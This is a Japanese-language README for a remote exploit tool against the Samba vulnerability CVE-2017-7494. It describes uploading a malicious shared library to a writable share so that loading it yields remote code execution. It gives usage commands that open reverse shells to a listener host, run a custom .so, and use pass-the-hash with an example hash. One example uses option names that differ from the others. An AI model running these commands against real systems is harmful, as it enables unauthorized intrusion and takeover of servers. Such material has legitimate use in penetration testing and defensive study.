noSAMBAnoCRY CVE-2017-7494

SAMBA CVE-2017-7494 脆弱性（別名 is_know_pipename!）のリモートエクスプロイト

詳細

このエクスプロイトは3つの部分に分かれています:

• 悪意のあるライブラリ（evilLib）を以下のアーキテクチャ向けにコンパイル: x86_64, x86, または i686
• 書き込み可能な共有を見つけ、そこに evilLib をアップロード
• evilLib をロード、すべてが正しく動作すれば RCE!

ターゲットが脆弱であり、ペイロードがターゲットのオペレーティングシステムおよびアーキテクチャに適切である限り、このエクスプロイトは非常に信頼性が高いです。

使い方

ターゲットに対してエクスプロイトを実行し、シェルが起動するのを待ちます:

$ python noSAMBAnoCRY.py -r RHOST

$ python noSAMBAnoCRY.py -r RHOST -u userTest -P 123 --lhost RevShellIP --lport RevShellPort 

samba バージョン 3.5.0 > 3.6.0 の場合は、引数 -o 1 を追加するだけです。

python noSAMBAnoCRY.py -r RHOST --lhost LHOST --lport LPORT -o 1

独自のカスタム .so を実行する

$ python noSAMBAnoCRY.py -r RHOST -u userTest --hashes 00000000000000000000000000000000:3DBDE697D71690A769204BEB12283678 -c cp.so

カスタム samba ポートを使用するには、引数 -p を使用します。

$ python noSAMBAnoCRY.py -t RHOST -p 4450 -u userTest -P 123 --rhost shell_ip --rport shell_port

smbpasswd のハッシュに遭遇してクラックできない場合は、引数 --hashes=LM:NT を使用してパス・ザ・ハッシュ（pass-the-hash）が可能です。

$ python noSAMBAnoCRY.py -r RHOST -u userTest --hashes=00000000000000000000000000000000:3DBDE697D71690A769204BEB12283678 --lhost RevShellIP

免責事項

このリポジトリは以下のリポジトリから着想を得ています: joxeankoret/exploit-CVE-2017-7494 および Archivaldo